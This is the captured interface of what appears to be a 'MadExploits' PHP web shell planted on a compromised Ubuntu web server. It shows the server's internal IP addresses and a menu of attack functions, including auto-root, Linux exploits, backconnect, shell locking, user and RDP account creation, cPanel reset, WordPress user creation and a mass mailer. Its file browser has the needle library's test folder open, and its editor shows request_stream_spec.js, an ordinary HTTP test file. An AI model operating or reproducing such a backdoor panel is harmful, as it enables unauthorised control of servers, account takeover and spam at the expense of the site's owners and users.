Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
needle /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
utils
[ DIR ]
drwxrwxr-x
basic_auth_spec.js
6
KB
-rw-rw-r--
compression_spec.js
2.96
KB
-rw-rw-r--
cookies_spec.js
9.9
KB
-rw-rw-r--
decoder_spec.js
2.18
KB
-rw-rw-r--
errors_spec.js
6.15
KB
-rw-rw-r--
headers_spec.js
5.67
KB
-rw-rw-r--
helpers.js
1.5
KB
-rw-rw-r--
long_string_spec.js
641
B
-rw-rw-r--
output_spec.js
7.12
KB
-rw-rw-r--
parsing_spec.js
13.25
KB
-rw-rw-r--
post_data_spec.js
32.34
KB
-rw-rw-r--
proxy_spec.js
4.86
KB
-rw-rw-r--
querystring_spec.js
2.27
KB
-rw-rw-r--
redirect_spec.js
10.74
KB
-rw-rw-r--
redirect_with_timeout.js
1.32
KB
-rw-rw-r--
request_stream_spec.js
5.22
KB
-rw-rw-r--
response_stream_spec.js
3.63
KB
-rw-rw-r--
socket_pool_spec.js
1.72
KB
-rw-rw-r--
url_spec.js
2.77
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : request_stream_spec.js
var fs = require('fs'), needle = require('..'), stream = require('stream'), http = require('http'), should = require('should'), sinon = require('sinon'); var port = 2233; describe('request stream length', function() { var server, writable; function createServer() { return http.createServer(function(req, res) { req.on('data', function(chunk) { // console.log(chunk.length); }) req.on('end', function() { res.writeHeader(200, { 'Content-Type': 'application/json'}) res.end(JSON.stringify({ headers: req.headers })) }) }) } before(function(done) { server = createServer(); server.listen(port, done) }) beforeEach(function() { writable = new stream.Readable(); writable._read = function() { this.push('hello world'); this.push(null); } }) after(function(done) { server.close(done) }) function send_request(opts, cb) { needle.post('http://localhost:' + port, writable, opts, function(err, resp) { cb(err, resp) }) } describe('no stream_length set', function() { it('doesnt set Content-Length header', function(done) { send_request({}, function(err, resp) { should.not.exist(resp.body.headers['content-length']); done() }) }) it('doesnt work if Transfer-Encoding is set to a blank string', function(done) { send_request({ headers: { 'Transfer-Encoding': '' }}, function(err, resp) { err.code.should.eql('ECONNRESET'); done() }) }) it('works if Transfer-Encoding is not set', function(done) { send_request({}, function(err, resp) { should.not.exist(err); resp.statusCode.should.eql(200); done() }) }) }) describe('stream_length set to invalid value', function() { it('sets Content-Length header to that value', function(done) { send_request({ stream_length: 5 }, function(err, resp) { should.exist(err); err.code.should.eql('ECONNRESET'); done() }) }) it('doesnt work if Transfer-Encoding is set to a blank string', function(done) { send_request({ stream_length: 5, headers: { 'Transfer-Encoding': '' }}, function(err, resp) { err.code.should.eql('ECONNRESET'); done() }) }) it('doesnt work if Transfer-Encoding is not set', function(done) { send_request({ stream_length: 5 }, function(err, resp) { err.code.should.eql('ECONNRESET'); done() }) }) }) describe('stream_length is set to valid value', function() { it('sets Content-Length header to that value', function(done) { send_request({ stream_length: 11 }, function(err, resp) { resp.body.headers['content-length'].should.eql('11'); done() }) }) it('works if Transfer-Encoding is set to a blank string', function(done) { send_request({ stream_length: 11, headers: { 'Transfer-Encoding': '' }}, function(err, resp) { should.not.exist(err); resp.statusCode.should.eql(200); done() }) }) it('works if Transfer-Encoding is not set', function(done) { send_request({ stream_length: 11 }, function(err, resp) { should.not.exist(err); resp.statusCode.should.eql(200); done() }) }) }) describe('stream_length set to 0', function() { describe('stream with path', function() { var stub; beforeEach(function() { writable.path = '/foo/bar'; stub = sinon.stub(fs, 'stat', function(path, cb) { cb(null, { size: 11 }) }) }) afterEach(function() { stub.restore(); }) it('sets Content-Length header to streams length', function(done) { send_request({ stream_length: 0 }, function(err, resp) { resp.body.headers['content-length'].should.eql('11'); done() }) }) it('works if Transfer-Encoding is set to a blank string', function(done) { send_request({ stream_length: 0, headers: { 'Transfer-Encoding': '' }}, function(err, resp) { should.not.exist(err); resp.statusCode.should.eql(200); done() }) }) it('works if Transfer-Encoding is not set', function(done) { send_request({ stream_length: 0 }, function(err, resp) { should.not.exist(err); resp.statusCode.should.eql(200); done() }) }) }) describe('stream without path', function() { it('does not set Content-Length header', function(done) { send_request({ stream_length: 0 }, function(err, resp) { should.not.exist(resp.body.headers['content-length']); done() }) }) it('doesnt work if Transfer-Encoding is set to a blank string', function(done) { send_request({ stream_length: 0, headers: { 'Transfer-Encoding': '' }}, function(err, resp) { err.code.should.eql('ECONNRESET'); done() }) }) it('works if Transfer-Encoding is not set', function(done) { send_request({ stream_length: 0 }, function(err, resp) { should.not.exist(err); resp.statusCode.should.eql(200); done() }) }) }) }) })
Close